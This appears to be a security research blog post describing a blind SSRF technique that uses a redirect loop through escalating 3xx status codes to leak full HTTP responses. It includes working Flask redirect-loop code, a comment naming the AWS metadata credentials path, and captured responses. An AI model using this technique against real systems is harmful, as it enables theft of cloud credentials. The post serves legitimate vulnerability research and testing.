Novel SSRF Technique Involving HTTP Redirect Loops

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Security research

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Blind Server-Side Request Forgery bugs are tricky to exploit, and obtaining the full HTTP response is one of the primary goals with any SSRF vulnerability. With modern cloud architectures, leaking the full HTTP response can often lead to cloud environment compromise if we can obtain the security credentials from the metadata IP.

However, what if you're in a situation where the application just refuses to return the full HTTP response? Perhaps it's performing some parsing logic, and your response does not fit its specifications, leading to an uneventful parsing error. These were the same challenges we faced recently when looking at widely used enterprise software.

We saw some unexpected behavior in this software that led to the leakage of the full redirect chain, including the final 200 OK response. We wanted to take some time today to blog about the issue, as it could lead to other SSRF vulnerabilities being exploitable in a similar way. Since this

technique was surprisingly successful in this popular enterprise product, this pattern may hold true elsewhere.

This software was using native C++ bindings and libcurl under the hood. While we started loading the binaries into Ghidra, we surprisingly discovered the novel SSRF technique before Ghidra had even finished its analysis process.

SSRF Testing Flow

Our typical SSRF testing flow involves interrogating the way the application responds to specific status codes. We started with understanding if the application could follow redirects. If this is true, we can then check how many redirects it can follow (MAX_REDIRECTS) and how it responds in this scenario.

These attempts were not successful. With a single redirect or a few redirects, the application would fail with a JSON parsing error such as `Exception: Invalid JSON`. When increasing the number of redirects, we found that the application followed up to 30 redirects but would fail with a different exception: `NetworkException` with no `Invalid JSON` error.

Since the above attempts did not lead to a full response being leaked, we moved on to testing HTTP status codes that may be treated differently (such as 401 and 500). This is where we found our first lead within this application. On a 500 HTTP status code response, the application gave us the full HTTP response.

While this was a good start, the keys to the kingdom in this case were the security credentials exposed via the cloud metadata IP. The response for this URL is a 200, and there is no way to get the status code of this response to be a 500.

Since we knew that the application was following redirects for 3xx status codes, intuitively, in a true black box fashion, we had a theory that maybe certain status codes in the 3xx range could trigger the same error state as a 500 status code. We knew that following too many redirects (above 30) would lead to a `NetworkException` error, and following just a few led to a JSON parsing error, but what if we iterated through more 3xx status codes?

We created a basic Flask server that had the following logic:

```python
@app.route('/redir', methods=['GET', 'POST'])
def redir():
    """Handle redirects with loop counter - after 10 redirects, go to final SSRF location."""
    # Get the current redirect count from query parameter, default to 0
    redirect_count = int(request.args.get('count', 0))

    # Increment the counter
    redirect_count += 1
    status_code = 301 + redirect_count
    # If we've reached 10 redirects, redirect to our desired location
    # To grab AWS metadata keys, you would hit http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name-
    if redirect_count >= 10:
        return redirect("http://example.com", code=302)
    print("trying: " + str(status_code))
    # Otherwise, redirect back to /redir with incremented counter
    return redirect(f"/redir?count={redirect_count}", code=status_code)

@app.route('/start', methods=['POST', 'GET'])
def start():
    """Starting point for redirect loop."""
    return redirect("/redir", code=302)
```

The above code performs a redirect loop, incrementing the HTTP status code on each subsequent request. When exploiting the SSRF issue by pointing it to a URL hosting the above logic, the application responded with the full HTTP redirect chain and responses:

HTTP/1.1 305 USE PROXY
Date: Sun, 01 Jun 2025 02:43:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=4

HTTP/1.1 306 SWITCH PROXY
Date: Sun, 01 Jun 2025 02:43:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=5

HTTP/1.1 307 TEMPORARY REDIRECT
Date: Sun, 01 Jun 2025 02:43:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=6

HTTP/1.1 308 PERMANENT REDIRECT
Date: Sun, 01 Jun 2025 02:43:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=7

HTTP/1.1 309 UNKNOWN
Date: Sun, 01 Jun 2025 02:43:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=8

HTTP/1.1 310 UNKNOWN
Date: Sun, 01 Jun 2025 02:43:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215

```
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=9

HTTP/1.1 302 FOUND
Date: Sun, 01 Jun 2025 02:43:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 225
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: https://example.com

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
ETag: "84238dfc8092e5d9c0dac8ef93371a07:1736799080.121134"
Last-Modified: Mon, 13 Jan 2025 20:11:20 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 648
Cache-Control: max-age=1824
Date: Sun, 01 Jun 2025 02:43:21 GMT
Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,quic=":443"; ma=93600; v="43"
Connection: keep-alive

<!doctype html>

... omitted for brevity ... (full response)
```

This was really surprising, but our goal was achieved! We used this technique to obtain the AWS metadata credentials successfully.

But why did it work?

This drove us nuts. Was there something special about the 305 status code? Even though we performed a redirect from 301 to 310, why did we only get the HTTP responses from status code 305 and beyond?

Was this an issue with libcurl? After extensive analysis of the libcurl source code and this application's binary, we don't think so.

Instead, we believe that the application was happy to follow a few redirects (and failing on JSON parsing) and was not happy about following more than the max redirects configured for libcurl. However, there was an error state when it followed more than five redirects, not handled by libcurl but rather by the application itself.

This technique may sound obscure to you, but it has now worked for us in several situations where we would not have been able to see the full HTTP response for 200 OK responses, but could see the full HTTP response for 500 status codes.

So, the next time you're working on a difficult blind SSRF vulnerability, remember this research post. You might be surprised by the outcome!
